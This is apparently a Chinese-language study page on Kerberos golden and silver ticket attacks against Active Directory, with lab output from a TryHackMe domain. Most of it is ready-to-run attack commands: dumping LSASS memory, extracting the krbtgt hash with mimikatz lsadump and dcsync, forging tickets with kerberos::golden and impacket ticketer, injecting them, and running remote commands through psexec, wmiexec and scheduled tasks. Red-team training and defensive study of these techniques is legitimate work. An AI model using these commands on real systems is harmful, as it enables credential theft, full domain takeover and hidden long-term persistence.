:::danger

:::

在 AD 攻击中我们经常看到 金银票攻击,那么这是什么?

Kerberos 身份验证

Kerberos

金银票 - 图1

Kerberos 身份验证流程

用户向 DC 上的密钥分发中心 (KDC) 发出 AS-REQ,其中包括一个用户的 NTLM hash 加密的时间戳 (本质来说这是对 TGT 的请求) 。 DC 检查信息后将 TGT 发送给用户,该 TGT 是使用 KRBTGT用户 hash 签名的,这个密码哈系值只存储在 DC 上,用户接受到 TGT 后将其发送给 DC, 如果 TGT 检查无误,DC 将会返回一个 TGS, TGS 使用是用户请求的服务的 NTLM hash 加密的,然后,用户将这个 TGS 提交给服务访问,服务可以验证TGS,因为它知道自己的哈希值,可以授予用户访问权。

介绍

金票

金银票 - 图2

黄金门票就是伪造的 TGT, 这代表我们需要绕过上图的 1,2 步,在这两步中我们向 DC 证明我们是谁。当我们拥有特权账户的有效 TGT ,我们就可以获取我们可以访问的服务的 TGS。为了伪造黄金门票,我们需要 KRBTGT账户的密码哈系,以便与我们为我们想要的任何账户签署 TGT。

  • 我们不许要任何模拟账户的密码哈系,应为我们绕过了此步骤。TGT 仅用于证明DC 上的 KDC 签署了该请求,因为是使用 KRBTGThash 签署的,所以只要这个验证通过无论 TGT 内容是什么,都为有效
  • KDC 只有在 TGT 中指定的用户账户超过 20 分钟时验证,这意味着我们可以在 TGT 中放置一个已禁用、已删除或不存在的帐户,要我们确保时间戳不超过 20 分钟,它就会有效。
  • 由于门票的策略和规则是在TGT本身设置的,我们可以覆盖KDC推送的值,例如,门票的有效期只能是10小时。例如,我们可以确保我们的 TGT 有效期为 10 年,赋予我们持久性。
  • 默认情况下,KRBTGT 帐户的密码永远不会改变
黄金票据的条件要求:

要伪造的域用户(一般为域管理员账户)+域名+域的SID值(就是域成员SID值去掉最后部分)+krbtgt账户的hash或AES-256值

mimikatz会根据我们传入的域SID,自动为我们拼接成以下SID,从而伪装具有下列权限的账户。 黄金票默认组:
  • 域用户SID:S-1-5-21 -513
  • 域管理员SID:S-1-5-21 -512
  • 架构管理员SID:S-1-5-21 -518
  • 企业管理员SID:S-1-5-21 -519(对于有多个子域的域林,企业管理员的Domain SID只在森林根域中,所以传入子域的Domain SID是无法伪造企业管理员账户的,可以使用/sids参数将域林管理员SID添加到SID History中,权限进一步从子域提升到整个域林)
  • 组策略创建者所有者SID:S-1-5-21 -520

银票

银票是伪造的 TGS 门票,我们需要跳过步骤 1~4 , 直接与我们要直接访问的服务进行联系。

  • 生成的 TGS 是由我们所针对的主机的机器账户签署
  • 金票和银票的主要区别在于我们获得的权限数量。如果我们拥有KRBTGT账户的密码哈希,我们就可以获得一切权限。有了银票,由于我们只能获得我们要攻击的服务器的机器账户的密码哈希,我们只能冒充该主机本身的用户。银票的范围只限于特定服务器上的任何服务。
  • 由于TGS是伪造的,所以没有相关的TGT,意味着DC从未被联系过。这使得攻击变得非常危险,因为唯一可用的日志将在目标服务器上。因此,虽然范围更有限,但对蓝队来说,它明显更难发现。
  • 由于权限是通过SID确定的,我们可以再次为我们的银票创建一个不存在的用户,只要我们确保银票有相关的SID,将用户放在主机的本地管理员组中。
  • 机器账户的密码通常每30天轮换一次,这对持久性没有好处。然而,我们可以利用我们的TGS提供的访问权限,获得对主机注册表的访问,并改变负责机器账户密码轮换的参数。从而确保机器账户保持静态,并赋予我们在机器上的持久性。

:::danger

白银票据不会与DC通信,因此相比黄金票据更隐蔽,是一种很好的权限维持手段;

:::

白银票据条件:

  • 伪造域用户
  • 域名
  • 域的SID值(就是域成员SID值去掉最后部分)
  • 目标服务的FQDN【FQDN(全称:Fully Qualified Domain Name)是一个完整的域名,它包含了主机名(hostname)和域名(domain name)。它由域名系统(DNS)使用,以确定网络上的特定计算机。例如,www.example.com就是一个FQDN。】
  • 可利用服务
  • 服务帐号 NTLM Hash

导出票据

mimikatz - kerberos::list

  1. $ mimikatz # kerberos::list /export // 获取当前logon session缓存的kerberos tickets, 等价与klist tickets

金银票 - 图3

mimikatz-sekurlsa::tickets

  1. mimikatz # privilege::debug
  2. mimikatz # sekurlsa::tickets /export // 使用内存读取并且不受密钥导出限制,可获取所有登录会话缓存的kerberos tickets,导出的文件根据LUID和ticket种类字段来区分

金银票 - 图4

关于会话ID,可以通过以下多种方法查看:

金银票 - 图5

lsa dump+pypykatz

  1. rundll32.exe comsvcs.dll, MiniDump 628 C:\lsass.DMP full
  2. pip3 install pypykatz
  3. pypykatz lsa -k /root/kerb minidump /root/Desktop/lsass.DMP
pypykatz导出的格式就比较友好,能明显区分TGT和TGS

金银票 - 图6

格式转换

  1. # impacket
  2. python ticketConverter.py ticket.kirbi ticket.ccache
  3. python ticketConverter.py ticket.ccache ticket.kirbi
  4. # kirbi2ccache
  5. kirbi2ccache TGT_IGNITE.LOCAL_yashika_krbtgt_IGNITE.LOCAL_6d469878.kirbi yashika.ccache

生成票据

kerberos_attacks_cheatsheet.md

普通TGT

impakcet

  1. python getTGT.py -dc-ip 192.168.240.142 -hashes :B9E0CFCEAF6D077970306A2FD88A7C0A ring2/win10
  2. python getTGT.py -dc-ip 192.168.240.142 ring2/win10:Test1234

金银票 - 图7

黄金票据

mimikatz

  1. # 使用 NTLM 生成 TGS
  2. mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
  3. # 用AES 128密钥生成TGS
  4. mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
  5. # 用AES 256密钥生成TGS(更安全的加密,可能更隐蔽,因为微软默认使用)
  6. mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
  7. # 列出所有的 Kerberos 票证
  8. mimikatz # kerberos::list
  9. # 列出当前用户会话提交的票证
  10. mimikatz # kerberos::tgt
  11. # 用 Mimikatz 注射 TGS
  12. mimikatz # kerberos::ptt <ticket_kirbi_file>
  1. # step 1. 获取 domain name
  2. C:\Users\win10>ipconfig /all
  3. # step 2. 获取域SID
  4. C:\Users\win10>whoami /all
  5. # step 3. 获取krbtgt hash
  6. mimikatz # lsadump::dcsync /user:krbtgt
  7. mimikatz # privilege::debug
  8. mimikatz # lsadump::lsa /inject /name:krbtgt // 从 LSA 中检索 krbtgt 哈希
  9. # step 4. 票据传递
  10. mimikatz # kerberos::golden /user:evil /domain:ring2.com /sid:S-1-5-21-2475887593-94489213-2292866110 /krbtgt:29bb608cc69ec270aed8805b190cff38 /ptt (生成并传递)
  11. User : evil
  12. Domain : ring2.com (RING2)
  13. SID : S-1-5-21-2475887593-94489213-2292866110
  14. User Id : 500
  15. Groups Id : *513 512 520 518 519
  16. ServiceKey: 29bb608cc69ec270aed8805b190cff38 - rc4_hmac_nt
  17. Lifetime : 7/29/2020 11:21:09 PM ; 7/27/2030 11:21:09 PM ; 7/27/2030 11:21:09 PM
  18. -> Ticket : ** Pass The Ticket **
  19. * PAC generated
  20. * PAC signed
  21. * EncTicketPart generated
  22. * EncTicketPart encrypted
  23. * KrbCred generated
  24. Golden ticket for 'evil @ ring2.com' successfully submitted for current session
  25. mimikatz # exit
  26. Bye!
  27. # step 5. 访问资源
  28. // 注: 这里要用机器名而不是IP,因为TGS Request中发的是server computer name, DC中查server Hash也是根据computer_name$查的
  29. c:\Users\win10\Desktop>dir \\win10-pc2\c$
  30. Volume in drive \\win10-pc2\c$ has no label.
  31. Volume Serial Number is 82AC-49B6
  32. Directory of \\win10-pc2\c$
  33. 07/10/2020 04:06 PM <DIR> PerfLogs
  34. 07/27/2020 04:12 AM <DIR> Program Files
  35. 07/10/2020 04:14 PM <DIR> Program Files (x86)
  36. 07/10/2020 04:16 PM <DIR> Users
  37. 07/27/2020 10:18 AM <DIR> Windows
  38. 0 File(s) 0 bytes
  39. 5 Dir(s) 43,286,941,696 bytes free

impakcet

  1. # 使用 NTLM 生成 TGT
  2. python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> <user_name>
  3. # 用 AES 密钥生成TGS
  4. python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> <user_name>
  5. # 设置票据以用于impacket的使用
  6. export KRB5CCNAME=<TGS_ccache_file>
  7. # 通过使用TGT执行以下任何一种远程命令
  8. python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
  9. python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
  10. python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

与SID History结合,提权横移到其他域

Kerberos Golden Tickets are Now More Golden

金银票 - 图8

DCsync文章里也讲了这个方法

【Windows域】DCsync原理及利用

白银票据

mimikatz

  1. # To generate the TGS with NTLM
  2. mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
  3. # To generate the TGS with AES 128 key
  4. mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
  5. # To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
  6. mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
  7. # Inject TGS with Mimikatz
  8. mimikatz # kerberos::ptt <ticket_kirbi_file>
  9. kerberos::golden /domain:ring2.com /sid:S-1-5-21-2475887593-94489213-2292866110 /target:win10-pc2.ring2.com /service:cifs /rc4:0b247d5c4f73feec13228f650b71ac5f /user:test /ptt

impacket

  1. # To generate the TGS with NTLM
  2. python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
  3. # To generate the TGS with AES key
  4. python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
  5. # Set the ticket for impacket use
  6. export KRB5CCNAME=<TGS_ccache_file>
  7. # Execute remote commands with any of the following by using the TGS
  8. python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
  9. python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
  10. python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

更多白银票据例子

1. 利用CIFS服务,操作windows admin share

金银票 - 图9

金银票 - 图10

2. 利用HOST服务,操作计划任务

金银票 - 图11

Leveraging the HOST Silver Ticket, we can create a new scheduled task.

金银票 - 图12

Or by leveraging the HOST Silver Ticket, we can modify an exist scheduled task.

金银票 - 图13

Check to see if the scheduled task was set. Yes, it’s there!

金银票 - 图14

3. 利用http&wsman服务,调用winrm

金银票 - 图15

金银票 - 图16

金银票 - 图17

4. 利用host&rpcss服务执行WMI

[金银票 - 图18 [金银票 - 图19(https://adsecurity.org/wp-content/uploads/2015/11/SilverTicket-adsdc02-rpcss.jpg)

Invoke-WmiMethod win32_process -ComputerName $Computer -Credential $Creds -name create -argumentlist “$RunCommand”

金银票 - 图20

5. 利用LDAP服务执行DCSync

这个例子的重点不在于最后做DCSync,而是演示用DC$密码后利用白银票据保持对AD的高操作权限。

金银票 - 图21

金银票 - 图22

票据传递

mimikatz

mimikatz # kerberos::ptt

Rebeus

.\Rubeus.exe ptt /ticket:

linux+impacket

  1. # Set the ticket for impacket use
  2. export KRB5CCNAME=<ccache_file_path>
  3. # Execute remote commands with any of the following by using the TGT or TGS
  4. python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
  5. python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
  6. python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

伪造门票

:::info

  • 我们已经有了 KRBTGT账户 NTLM hash
  • THMSERVER1 计算机账户关联的 NTLM hash

:::

  1. za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>powershell
  2. Windows PowerShell
  3. Copyright (C) Microsoft Corporation. All rights reserved.
  4. PS C:\Users\Administrator.ZA> Get-ADDomain
  5. AllowedDNSSuffixes : {}
  6. ComputersContainer : CN=Computers,DC=za,DC=tryhackme,DC=loc
  7. DeletedObjectsContainer : CN=Deleted Objects,DC=za,DC=tryhackme,DC=loc
  8. DistinguishedName : DC=za,DC=tryhackme,DC=loc
  9. DNSRoot : za.tryhackme.loc
  10. DomainControllersContainer : OU=Domain Controllers,DC=za,DC=tryhackme,DC=loc
  11. DomainMode : Windows2012R2Domain
  12. DomainSID : S-1-5-21-3885271727-2693558621-2658995185
  13. ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=za,DC=tryhackme,DC=loc
  14. Forest : tryhackme.loc
  15. InfrastructureMaster : THMDC.za.tryhackme.loc
  16. LastLogonReplicationInterval :
  17. LinkedGroupPolicyObjects : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=za,DC=tryhackme,DC=loc}
  18. LostAndFoundContainer : CN=LostAndFound,DC=za,DC=tryhackme,DC=loc
  19. ManagedBy :
  20. Name : za
  21. NetBIOSName : ZA
  22. ObjectClass : domainDNS
  23. ObjectGUID : 1fc9e299-da51-4d03-baa0-862c3360c0b2
  24. ParentDomain : tryhackme.loc
  25. PDCEmulator : THMDC.za.tryhackme.loc
  26. PublicKeyRequiredPasswordRolling :
  27. QuotasContainer : CN=NTDS Quotas,DC=za,DC=tryhackme,DC=loc
  28. ReadOnlyReplicaDirectoryServers : {}
  29. ReplicaDirectoryServers : {THMDC.za.tryhackme.loc}
  30. RIDMaster : THMDC.za.tryhackme.loc
  31. SubordinateReferences : {DC=DomainDnsZones,DC=za,DC=tryhackme,DC=loc}
  32. SystemsContainer : CN=System,DC=za,DC=tryhackme,DC=loc
  33. UsersContainer : CN=Users,DC=za,DC=tryhackme,DC=loc
  1. PS C:\Users\Administrator\Downloads> .\mimikatz.exe
  2. .#####. mimikatz 2.2.0 (x64) #18362 May 2 2020 16:23:51
  3. .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
  4. ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  5. ## \ / ## > http://blog.gentilkiwi.com/mimikatz
  6. '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
  7. '#####' > http://pingcastle.com / http://mysmartlogon.com ***/
  8. mimikatz # privilege::debug
  9. Privilege '20' OK
  10. mimikatz # lsadump::lsa /inject /name:krbtgt
  11. Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
  12. RID : 000001f6 (502)
  13. User : krbtgt
  14. * Primary
  15. NTLM : 5508500012cc005cf7082a9a89ebdfdf
  16. LM :
  17. Hash NTLM: 5508500012cc005cf7082a9a89ebdfdf
  18. ntlm- 0: 5508500012cc005cf7082a9a89ebdfdf
  19. lm - 0: 372f405db05d3cafd27f8e6a4a097b2c
  20. * WDigest
  21. 01 49a8de3b6c7ae1ddf36aa868e68cd9ea
  22. 02 7902703149b131c57e5253fd9ea710d0
  23. 03 71288a6388fb28088a434d3705cc6f2a
  24. 04 49a8de3b6c7ae1ddf36aa868e68cd9ea
  25. 05 7902703149b131c57e5253fd9ea710d0
  26. 06 df5ad3cc1ff643663d85dabc81432a81
  27. 07 49a8de3b6c7ae1ddf36aa868e68cd9ea
  28. 08 a489809bd0f8e525f450fac01ea2054b
  29. 09 19e54fd00868c3b0b35b5e0926934c99
  30. 10 4462ea84c5537142029ea1b354cd25fa
  31. 11 6773fcbf03fd29e51720f2c5087cb81c
  32. 12 19e54fd00868c3b0b35b5e0926934c99
  33. 13 52902abbeec1f1d3b46a7bd5adab3b57
  34. 14 6773fcbf03fd29e51720f2c5087cb81c
  35. 15 8f2593c344922717d05d537487a1336d
  36. 16 49c009813995b032cc1f1a181eaadee4
  37. 17 8552f561e937ad7c13a0dca4e9b0b25a
  38. 18 cc18f1d9a1f4d28b58a063f69fa54f27
  39. 19 12ae8a0629634a31aa63d6f422a14953
  40. 20 b6392b0471c53dd2379dcc570816ba10
  41. 21 7ab113cb39aa4be369710f6926b68094
  42. 22 7ab113cb39aa4be369710f6926b68094
  43. 23 e38f8bc728b21b85602231dba189c5be
  44. 24 4700657dde6382cd7b990fb042b00f9e
  45. 25 8f46d9db219cbd64fb61ba4fdb1c9ba7
  46. 26 36b6a21f031bf361ce38d4d8ad39ee0f
  47. 27 e69385ee50f9d3e105f50c61c53e718e
  48. 28 ca006400aefe845da46b137b5b50f371
  49. 29 15a607251e3a2973a843e09c008c32e3
  50. * Kerberos
  51. Default Salt : CONTROLLER.LOCALkrbtgt
  52. Credentials
  53. des_cbc_md5 : 64ef5d43922f3b5d
  54. * Kerberos-Newer-Keys
  55. Default Salt : CONTROLLER.LOCALkrbtgt
  56. Default Iterations : 4096
  57. Credentials
  58. aes256_hmac (4096) : 8e544cabf340db750cef9f5db7e1a2f97e465dffbd5a2dc64246bda3c75fe53d
  59. aes128_hmac (4096) : 7eb35bddd529c0614e5ad9db4c798066
  60. des_cbc_md5 (4096) : 64ef5d43922f3b5d
  61. * NTLM-Strong-NTOWF
  62. Random Value : 666caaaaf30081f30211bd7fa445fec4
  63. mimikatz #

使用 Mimikatz:

  1. za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>C:\Tools\mimikatz_trunk\x64\mimikatz.exe
  2. .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
  3. .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
  4. ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  5. ## \ / ## > https://blog.gentilkiwi.com/mimikatz
  6. '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
  7. '#####' > https://pingcastle.com / https://mysmartlogon.com ***/
  8. mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /ptt
  • /admin : 模拟的用户名
  • /domain : 对应域的 FQDN
  • /id : 用户 RID,默认情况下,Mimikatz 使用 RID 500,这是默认的管理员帐户 RID。
  • /sid : 对应域的 SID
  • /kebtgt : KRBTGT 帐户的 NTLM 哈希。
  • /endin - 票证生存期。默认情况下,Mimikatz 会生成有效期为 10 年的票证。AD 的默认 Kerberos 策略为 10 小时
  • /renewmax - 续订的最长票证生存期。默认情况下,Mimikatz 会生成有效期为 10 年的票证。AD 的默认 Kerberos 策略为 7 天
  • /ptt - 此标志告诉 Mimikatz 将票证直接注入会话,这意味着它已准备好使用

我们可以对 DC 运行命令验证黄金门票是否正常运行:

  1. za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>dir \\thmdc.za.tryhackme.loc\c$\
  1. mimikatz # kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt
  • /admin : 模拟的用户名
  • /domain : 对应域的 FQDN
  • /id : 用户 RID,默认情况下,Mimikatz 使用 RID 500,这是默认的管理员帐户 RID。
  • /sid : 对应域的 SID
  • /target : 目标服务器主机名
  • /rc4 : 目标计算机账户的 NTLM hash, 查看 DC 同步结果,查找 THMSERVER1$ 的 NTLM 哈希。$ 表示它是一个计算机帐户
  • /service - 我们在 TGS 中请求的服务。CIFS是一个安全的选择,因为它允许文件访问
  • /ptt - 此标志告诉 Mimikatz 将票证直接注入会话,这意味着它已准备好使用
  1. za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>dir \\thmserver1.za.tryhackme.loc\c$\

参考

TryHackMe | Cyber Security Training

【Windows域】票据传递